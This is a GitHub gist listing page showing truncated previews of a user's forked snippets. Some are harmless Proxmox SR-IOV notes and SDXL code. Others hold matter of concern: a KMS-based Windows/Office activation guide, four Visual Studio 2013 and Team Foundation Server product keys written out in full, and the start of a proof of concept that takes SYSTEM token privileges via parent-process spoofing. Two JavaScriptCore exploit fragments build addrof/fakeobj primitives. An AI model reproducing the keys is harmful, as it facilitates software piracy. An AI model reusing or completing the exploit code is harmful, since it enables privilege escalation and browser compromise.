Skip to content

Instantly share code, notes, and snippets.

@AmesianX
AmesianX / pve-trick-sriov-vf-configuration
Created August 27, 2024 16:03 — forked from cdseoo/pve-trick-sriov-vf-configuration
Enable SR-IOV VF on Proxmox 7+
# The following is a step-by-step example for enabling SR-IOV VF on Promxox 7+ with BCM57810 10G NIC
---
References
https://forum.proxmox.com/threads/enabling-sr-iov-for-intel-nic-x550-t2-on-proxmox-6.56677/
https://zhuanlan.zhihu.com/p/91197211
https://zhuanlan.zhihu.com/p/356437308
https://zhiliao.h3c.com/Theme/details/24770
https://blog.csdn.net/Jackykxy/article/details/120585563
@AmesianX
AmesianX / windows_and_office_kms_setup.adoc
Created July 14, 2024 18:47 — forked from jerodg/windows_and_office_kms_setup.adoc
Activate Windows and Office Using KMS Server

Microsoft Windows and Office KMS Setup

@AmesianX
AmesianX / getsystem_parent.cpp
Created July 11, 2024 09:23 — forked from xpn/getsystem_parent.cpp
A POC to grab SYSTEM token privileges via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
#include "stdafx.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR Privilege, BOOL bEnablePrivilege) {
TOKEN_PRIVILEGES tp;
LUID luid;
TOKEN_PRIVILEGES tpPrevious;
DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
Visual Studio Ultimate 2013 KEY:BWG7X-J98B3-W34RT-33B3R-JVYW9
Visual Studio Premium 2013 KEY:FBJVC-3CMTX-D8DVP-RTQCT-92494
Visual Studio Professional 2013 KEY:XDM3T-W3T3V-MGJWK-8BFVD-GVPKY
Team Foundation Server 2013 KEY:MHG9J-HHHX9-WWPQP-D8T7H-7KCQG
@AmesianX
AmesianX / forward_of_sdxl_original_unet.py
Created February 21, 2024 13:02 — forked from kohya-ss/forward_of_sdxl_original_unet.py
SDXLで高解像度での構図の破綻を軽減する
def forward(self, x, timesteps=None, context=None, y=None, **kwargs):
# broadcast timesteps to batch dimension
timesteps = timesteps.expand(x.shape[0])
hs = []
t_emb = get_timestep_embedding(timesteps, self.model_channels) # , repeat_only=False)
t_emb = t_emb.to(x.dtype)
emb = self.time_embed(t_emb)
assert x.shape[0] == y.shape[0], f"batch size mismatch: {x.shape[0]} != {y.shape[0]}"
/*
* m1racle-poc: a basic proof of concept for the M1RACLES vulnerability in the Apple M1.
*
* This program allows you to read and write the state of the s3_5_c15_c10_1 CPU register.
*
* Please visit m1racles.com for more information.
*
* Licensed under the MIT license.
*/
/*
* m1racle-poc: a basic proof of concept for the M1RACLES vulnerability in the Apple M1.
*
* This program allows you to read and write the state of the s3_5_c15_c10_1 CPU register.
*
* Please visit m1racles.com for more information.
*
* Licensed under the MIT license.
*/
@AmesianX
AmesianX / wtf.js
Created April 27, 2022 02:20 — forked from physuru/wtf.js
// addrof/fakeobj primitives for qwertyoruiop's jsc bug
var wtf_hack = false, wtf_confuse = null, wtf_obj = {}, wtf_date = new Date();
wtf_date[1] = 1;
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {
has: function () {
if (wtf_hack) {
wtf_confuse[0] = wtf_obj;
}
}
});
@AmesianX
AmesianX / pepsiPoc.js
Created April 27, 2022 02:20 — forked from pepsipu/pepsiPoc.js
poc provided by Lucas
load("utils.js")
load("int64.js")
function addrof(obj) {
let dateObj = new Date();
dateObj[0] = 1;
let array = new Array(13.37, 13.37)
let triggerChange = false;
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {